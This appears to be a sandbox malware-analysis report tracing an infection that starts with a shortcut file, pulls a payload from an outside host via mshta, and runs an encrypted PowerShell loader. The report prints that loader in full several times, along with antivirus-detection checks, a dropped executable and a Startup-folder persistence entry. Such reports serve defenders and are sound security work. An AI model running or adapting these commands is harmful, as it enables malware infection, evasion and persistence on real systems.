Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $gIWXcqO = 'AAAAAAAAAAAAAAAAAAAAAH+Ni+e0B2ks3MmnD0sjpK+fk7MupFILZ9VVeKtme+yyv7VBgriarnlhwOcDd3XnPYAZs1Tppp56hNLmknzg3RqlLZoWww3pr9GTVi4PQRFZ4Ymgg1kiMEK8k6tSH0FMP/6pzSLCCm7m343xSrtqho71KivioXDdV9RXUEizSVv/r8WV5Pa7k2Heaf/g1dNAET06jn6Lwy+3XxYBIZ8Z2SgFrwiakMLK9DaB/lEruY0OeDX+Hdr0opeUvoDL8s3TYxPu555rLX05cTD0ToGQ2y+lNPX6Fd4Bm0mfpAp0pqtz0Trl0pba/499qW6oyZTYgixjQ47fiytqQcaIZP9WkwPlfVpxMSua7NOylmdcJhQWUYN6kEASQ952Ex0UEpaIptSXAQOA6loYOMEfPb1EVPJ3uzMpl9BHjDqJhN1/oLox0/aPLc7VbmQV7FidtYCO5ezZrtDcgspB4G8S6VZ9Sjg0QNg+jHmUfYdvDUMhXrj23a1QyqUbSLMhJDW4sNDUud7HtFVqeAGS/Sl3nluTQKPifMztty2aLUs2SdQ4ofB+z/wvUPl80+6+LH5XqNj8M1Zd2OZ2juaG9QCdS6eD1lwBdfwkGK1Cexwfukroqw+5t52gJ98O+jLN7pAgKZCbb87QC9doFNVZ0xR6NVkJ3ydwbpVe9gy2uRSQ2Smekc28xEG/oGbv4H/40VYmmQ48SZmio+DL98HetDuYJDA10+uKtzg0ZRZ9tre7n2DUAlC7aKHFKe8XXTlSjeBJaB+74TbyhG6tbN3q8JEsTWFHavCG/74qYRYHv51RGapuS4YimLfGDcI+kN5tHO8qHFY2APvSJgWWvc4NaNwYwKEOdGVs3cuD2h7Z0Etr930+QCfF';$PAvNVyn = 'eW1FbE1LT2RGdGV3TXdRUlpyWFFRbnZGeFdtd1R3Z2w=';$Hgjhdnd = New-Object 'System.Security.Cryptography.AesManaged';$Hgjhdnd.Mode = [System.Security.Cryptography.CipherMode]::ECB;$Hgjhdnd.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$Hgjhdnd.BlockSize = 128;$Hgjhdnd.KeySize = 256;$Hgjhdnd.Key = [System.Convert]::FromBase64String($PAvNVyn);$fmSHI = [System.Convert]::FromBase64String($gIWXcqO);$HwKLSIPl = $fmSHI[0..15];$Hgjhdnd.IV = $HwKLSIPl;$bKVkoZaIu = $Hgjhdnd.CreateDecryptor();$woNqXSfkI = $bKVkoZaIu.TransformFinalBlock($fmSHI, 16, $fmSHI.Length - 16);$Hgjhdnd.Dispose();$LMMKhz = New-Object System.IO.MemoryStream( , $woNqXSfkI );$dYlrlK = New-Object System.IO.MemoryStream;$cYowFoTfZ = New-Object System.IO.Compression.GzipStream $LMMKhz, ([IO.Compression.CompressionMode]::Decompress);$cYowFoTfZ.CopyTo( $dYlrlK );$cYowFoTfZ.Close();$LMMKhz.Close();[byte[]] $OhXploZ = $dYlrlK.ToArray();$mkeeaJ = [System.Text.Encoding]::UTF8.GetString($OhXploZ);$mkeeaJ \| powershell -
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://2no.co/2ZrVm4
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1972,i,9908124520727013637,16052359887422154875,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\ClassroomEc.exe "C:\Users\user\AppData\Roaming\ClassroomEc.exe"
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k move Avoid Avoid.bat & Avoid.bat & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa.exe opssvc.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 29026
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Producing + Imaging + Phd + Ada + Organ 29026\Identification.pif
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Conf 29026\m
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif 29026\Identification.pif 29026\m
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 5 localhost
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NeuraLink.url" & echo URL="C:\Users\user\AppData\Local\NeuraConnect Technologies\NeuraLink.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NeuraLink.url" & exit
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe start mshta http://whitemansearch.shop/setup	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" http://whitemansearch.shop/setup	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $gIWXcqO = 'AAAAAAAAAAAAAAAAAAAAAH+Ni+e0B2ks3MmnD0sjpK+fk7MupFILZ9VVeKtme+yyv7VBgriarnlhwOcDd3XnPYAZs1Tppp56hNLmknzg3RqlLZoWww3pr9GTVi4PQRFZ4Ymgg1kiMEK8k6tSH0FMP/6pzSLCCm7m343xSrtqho71KivioXDdV9RXUEizSVv/r8WV5Pa7k2Heaf/g1dNAET06jn6Lwy+3XxYBIZ8Z2SgFrwiakMLK9DaB/lEruY0OeDX+Hdr0opeUvoDL8s3TYxPu555rLX05cTD0ToGQ2y+lNPX6Fd4Bm0mfpAp0pqtz0Trl0pba/499qW6oyZTYgixjQ47fiytqQcaIZP9WkwPlfVpxMSua7NOylmdcJhQWUYN6kEASQ952Ex0UEpaIptSXAQOA6loYOMEfPb1EVPJ3uzMpl9BHjDqJhN1/oLox0/aPLc7VbmQV7FidtYCO5ezZrtDcgspB4G8S6VZ9Sjg0QNg+jHmUfYdvDUMhXrj23a1QyqUbSLMhJDW4sNDUud7HtFVqeAGS/Sl3nluTQKPifMztty2aLUs2SdQ4ofB+z/wvUPl80+6+LH5XqNj8M1Zd2OZ2juaG9QCdS6eD1lwBdfwkGK1Cexwfukroqw+5t52gJ98O+jLN7pAgKZCbb87QC9doFNVZ0xR6NVkJ3ydwbpVe9gy2uRSQ2Smekc28xEG/oGbv4H/40VYmmQ48SZmio+DL98HetDuYJDA10+uKtzg0ZRZ9tre7n2DUAlC7aKHFKe8XXTlSjeBJaB+74TbyhG6tbN3q8JEsTWFHavCG/74qYRYHv51RGapuS4YimLfGDcI+kN5tHO8qHFY2APvSJgWWvc4NaNwYwKEOdGVs3cuD2h7Z0Etr930+QCfF';$PAvNVyn = 'eW1FbE1LT2RGdGV3TXdRUlpyWFFRbnZGeFdtd1R3Z2w=';$Hgjhdnd = New-Object 'System.Security.Cryptography.AesManaged';$Hgjhdnd.Mode = [System.Security.Cryptography.CipherMode]::ECB;$Hgjhdnd.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$Hgjhdnd.BlockSize = 128;$Hgjhdnd.KeySize = 256;$Hgjhdnd.Key = [System.Convert]::FromBase64String($PAvNVyn);$fmSHI = [System.Convert]::FromBase64String($gIWXcqO);$HwKLSIPl = $fmSHI[0..15];$Hgjhdnd.IV = $HwKLSIPl;$bKVkoZaIu = $Hgjhdnd.CreateDecryptor();$woNqXSfkI = $bKVkoZaIu.TransformFinalBlock($fmSHI, 16, $fmSHI.Length - 16);$Hgjhdnd.Dispose();$LMMKhz = New-Object System.IO.MemoryStream( , $woNqXSfkI );$dYlrlK = New-Object System.IO.MemoryStream;$cYowFoTfZ = New-Object System.IO.Compression.GzipStream $LMMKhz, ([IO.Compression.CompressionMode]::Decompress);$cYowFoTfZ.CopyTo( $dYlrlK );$cYowFoTfZ.Close();$LMMKhz.Close();[byte[]] $OhXploZ = $dYlrlK.ToArray();$mkeeaJ = [System.Text.Encoding]::UTF8.GetString($OhXploZ);$mkeeaJ \| powershell -	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://2no.co/2ZrVm4	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\ClassroomEc.exe "C:\Users\user\AppData\Roaming\ClassroomEc.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1972,i,9908124520727013637,16052359887422154875,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k move Avoid Avoid.bat & Avoid.bat & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa.exe opssvc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 29026	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Producing + Imaging + Phd + Ada + Organ 29026\Identification.pif	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Conf 29026\m	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif 29026\Identification.pif 29026\m	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 5 localhost	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NeuraLink.url" & echo URL="C:\Users\user\AppData\Local\NeuraConnect Technologies\NeuraLink.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NeuraLink.url" & exit

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11cf-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: setup.lnk	LNK file: ..\..\..\..\Windows\System32\forfiles.exe
Source: Google Drive.lnk.9.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.9.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.9.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.9.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.9.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.9.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: calc.pdbGCTL source: mshta.exe, 00000004.00000002.2039404857.00000278B7457000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2027635373.00000278B7456000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2024473416.00000278B74BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2026956096.00000278B74BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2024473416.00000278B7461000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2030741476.00000278B7456000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2027458057.00000278B74CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2027587413.00000278B74D9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2036185120.00000278B7457000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2027168564.00000278B7455000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2024473416.00000278B744F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2024473416.00000278B73E1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2026299956.00000278B746A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdb source: Identification.pif, 00000019.00000003.2989835694.0000000001E20000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: Identification.pif, 00000019.00000003.2990376919.0000000004BE0000.00000004.00000001.00020000.00000000.sdmp, Identification.pif, 00000019.00000003.2990182254.0000000001E20000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: Identification.pif, 00000019.00000003.2988525996.0000000002010000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: e.pdb`] source: powershell.exe, 00000008.00000002.2239404211.0000023DA295C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: calc.pdb source: mshta.exe, 00000004.00000003.2024473416.00000278B74BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2026956096.00000278B74BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2024473416.00000278B7461000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2027458057.00000278B74CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2027587413.00000278B74D9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2026299956.00000278B746A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: Identification.pif, 00000019.00000003.2988525996.0000000002010000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: Identification.pif, 00000019.00000003.2989835694.0000000001E20000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: Identification.pif, 00000019.00000003.2990376919.0000000004BE0000.00000004.00000001.00020000.00000000.sdmp, Identification.pif, 00000019.00000003.2990182254.0000000001E20000.00000004.00000001.00020000.00000000.sdmp

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String($PAvNVyn);$fmSHI = [System.Convert]::FromBase64String($gIWXcqO);$HwKLSIPl = $fmSHI[0..15];$Hgjhdnd.IV = $HwKLSIPl;$bKVkoZaIu = $Hgjhdnd.CreateDecryptor();$woNqXSfkI = $bKVkoZaIu.Trans

Suspicious powershell command line found

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $gIWXcqO = 'AAAAAAAAAAAAAAAAAAAAAH+Ni+e0B2ks3MmnD0sjpK+fk7MupFILZ9VVeKtme+yyv7VBgriarnlhwOcDd3XnPYAZs1Tppp56hNLmknzg3RqlLZoWww3pr9GTVi4PQRFZ4Ymgg1kiMEK8k6tSH0FMP/6pzSLCCm7m343xSrtqho71KivioXDdV9RXUEizSVv/r8WV5Pa7k2Heaf/g1dNAET06jn6Lwy+3XxYBIZ8Z2SgFrwiakMLK9DaB/lEruY0OeDX+Hdr0opeUvoDL8s3TYxPu555rLX05cTD0ToGQ2y+lNPX6Fd4Bm0mfpAp0pqtz0Trl0pba/499qW6oyZTYgixjQ47fiytqQcaIZP9WkwPlfVpxMSua7NOylmdcJhQWUYN6kEASQ952Ex0UEpaIptSXAQOA6loYOMEfPb1EVPJ3uzMpl9BHjDqJhN1/oLox0/aPLc7VbmQV7FidtYCO5ezZrtDcgspB4G8S6VZ9Sjg0QNg+jHmUfYdvDUMhXrj23a1QyqUbSLMhJDW4sNDUud7HtFVqeAGS/Sl3nluTQKPifMztty2aLUs2SdQ4ofB+z/wvUPl80+6+LH5XqNj8M1Zd2OZ2juaG9QCdS6eD1lwBdfwkGK1Cexwfukroqw+5t52gJ98O+jLN7pAgKZCbb87QC9doFNVZ0xR6NVkJ3ydwbpVe9gy2uRSQ2Smekc28xEG/oGbv4H/40VYmmQ48SZmio+DL98HetDuYJDA10+uKtzg0ZRZ9tre7n2DUAlC7aKHFKe8XXTlSjeBJaB+74TbyhG6tbN3q8JEsTWFHavCG/74qYRYHv51RGapuS4YimLfGDcI+kN5tHO8qHFY2APvSJgWWvc4NaNwYwKEOdGVs3cuD2h7Z0Etr930+QCfF';$PAvNVyn = 'eW1FbE1LT2RGdGV3TXdRUlpyWFFRbnZGeFdtd1R3Z2w=';$Hgjhdnd = New-Object 'System.Security.Cryptography.AesManaged';$Hgjhdnd.Mode = [System.Security.Cryptography.CipherMode]::ECB;$Hgjhdnd.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$Hgjhdnd.BlockSize = 128;$Hgjhdnd.KeySize = 256;$Hgjhdnd.Key = [System.Convert]::FromBase64String($PAvNVyn);$fmSHI = [System.Convert]::FromBase64String($gIWXcqO);$HwKLSIPl = $fmSHI[0..15];$Hgjhdnd.IV = $HwKLSIPl;$bKVkoZaIu = $Hgjhdnd.CreateDecryptor();$woNqXSfkI = $bKVkoZaIu.TransformFinalBlock($fmSHI, 16, $fmSHI.Length - 16);$Hgjhdnd.Dispose();$LMMKhz = New-Object System.IO.MemoryStream( , $woNqXSfkI );$dYlrlK = New-Object System.IO.MemoryStream;$cYowFoTfZ = New-Object System.IO.Compression.GzipStream $LMMKhz, ([IO.Compression.CompressionMode]::Decompress);$cYowFoTfZ.CopyTo( $dYlrlK );$cYowFoTfZ.Close();$LMMKhz.Close();[byte[]] $OhXploZ = $dYlrlK.ToArray();$mkeeaJ = [System.Text.Encoding]::UTF8.GetString($OhXploZ);$mkeeaJ \| powershell -
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $gIWXcqO = 'AAAAAAAAAAAAAAAAAAAAAH+Ni+e0B2ks3MmnD0sjpK+fk7MupFILZ9VVeKtme+yyv7VBgriarnlhwOcDd3XnPYAZs1Tppp56hNLmknzg3RqlLZoWww3pr9GTVi4PQRFZ4Ymgg1kiMEK8k6tSH0FMP/6pzSLCCm7m343xSrtqho71KivioXDdV9RXUEizSVv/r8WV5Pa7k2Heaf/g1dNAET06jn6Lwy+3XxYBIZ8Z2SgFrwiakMLK9DaB/lEruY0OeDX+Hdr0opeUvoDL8s3TYxPu555rLX05cTD0ToGQ2y+lNPX6Fd4Bm0mfpAp0pqtz0Trl0pba/499qW6oyZTYgixjQ47fiytqQcaIZP9WkwPlfVpxMSua7NOylmdcJhQWUYN6kEASQ952Ex0UEpaIptSXAQOA6loYOMEfPb1EVPJ3uzMpl9BHjDqJhN1/oLox0/aPLc7VbmQV7FidtYCO5ezZrtDcgspB4G8S6VZ9Sjg0QNg+jHmUfYdvDUMhXrj23a1QyqUbSLMhJDW4sNDUud7HtFVqeAGS/Sl3nluTQKPifMztty2aLUs2SdQ4ofB+z/wvUPl80+6+LH5XqNj8M1Zd2OZ2juaG9QCdS6eD1lwBdfwkGK1Cexwfukroqw+5t52gJ98O+jLN7pAgKZCbb87QC9doFNVZ0xR6NVkJ3ydwbpVe9gy2uRSQ2Smekc28xEG/oGbv4H/40VYmmQ48SZmio+DL98HetDuYJDA10+uKtzg0ZRZ9tre7n2DUAlC7aKHFKe8XXTlSjeBJaB+74TbyhG6tbN3q8JEsTWFHavCG/74qYRYHv51RGapuS4YimLfGDcI+kN5tHO8qHFY2APvSJgWWvc4NaNwYwKEOdGVs3cuD2h7Z0Etr930+QCfF';$PAvNVyn = 'eW1FbE1LT2RGdGV3TXdRUlpyWFFRbnZGeFdtd1R3Z2w=';$Hgjhdnd = New-Object 'System.Security.Cryptography.AesManaged';$Hgjhdnd.Mode = [System.Security.Cryptography.CipherMode]::ECB;$Hgjhdnd.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$Hgjhdnd.BlockSize = 128;$Hgjhdnd.KeySize = 256;$Hgjhdnd.Key = [System.Convert]::FromBase64String($PAvNVyn);$fmSHI = [System.Convert]::FromBase64String($gIWXcqO);$HwKLSIPl = $fmSHI[0..15];$Hgjhdnd.IV = $HwKLSIPl;$bKVkoZaIu = $Hgjhdnd.CreateDecryptor();$woNqXSfkI = $bKVkoZaIu.TransformFinalBlock($fmSHI, 16, $fmSHI.Length - 16);$Hgjhdnd.Dispose();$LMMKhz = New-Object System.IO.MemoryStream( , $woNqXSfkI );$dYlrlK = New-Object System.IO.MemoryStream;$cYowFoTfZ = New-Object System.IO.Compression.GzipStream $LMMKhz, ([IO.Compression.CompressionMode]::Decompress);$cYowFoTfZ.CopyTo( $dYlrlK );$cYowFoTfZ.Close();$LMMKhz.Close();[byte[]] $OhXploZ = $dYlrlK.ToArray();$mkeeaJ = [System.Text.Encoding]::UTF8.GetString($OhXploZ);$mkeeaJ \| powershell -			Jump to behavior

Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe

Code function: 12_2_00D69F30 LoadLibraryA,GetProcAddress,GetWindow,GetWindow,

12_2_00D69F30

Source: Producing.12.dr	Static PE information: real checksum: 0xf5a21 should be: 0x30d94
Source: ClassroomEc.exe.8.dr	Static PE information: real checksum: 0x128df5 should be: 0x136e72

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FF8487C00BD pushad ; iretd	6_2_00007FF8487C00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF84868D2A5 pushad ; iretd	8_2_00007FF84868D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF8487A8167 push ebx; ret	8_2_00007FF8487A816A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF8487AFB5D push esp; retf	8_2_00007FF8487AFB5E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF8487A00BD pushad ; iretd	8_2_00007FF8487A00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF84887A61A push edx; iretd	8_2_00007FF84887A61B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF84887CBA4 push esp; retf	8_2_00007FF84887CBA5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF84887CBA0 push esp; retf	8_2_00007FF84887CBA1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF84887BCB5 push ebp; iretd	8_2_00007FF84887BCB8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF84887C0B8 push edx; retf	8_2_00007FF84887C0BB
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Code function: 12_2_00D87C59 push ecx; ret	12_2_00D87C6C

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\SysWOW64\cmd.exe
Source: LNK file	Process created: C:\Windows\SysWOW64\cmd.exe
Source: LNK file	Process created: C:\Windows\SysWOW64\cmd.exe
Source: LNK file	Process created: C:\Windows\SysWOW64\cmd.exe
Source: LNK file	Process created: C:\Windows\SysWOW64\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\SysWOW64\cmd.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\SysWOW64\cmd.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\SysWOW64\cmd.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\SysWOW64\cmd.exe	Jump to behavior
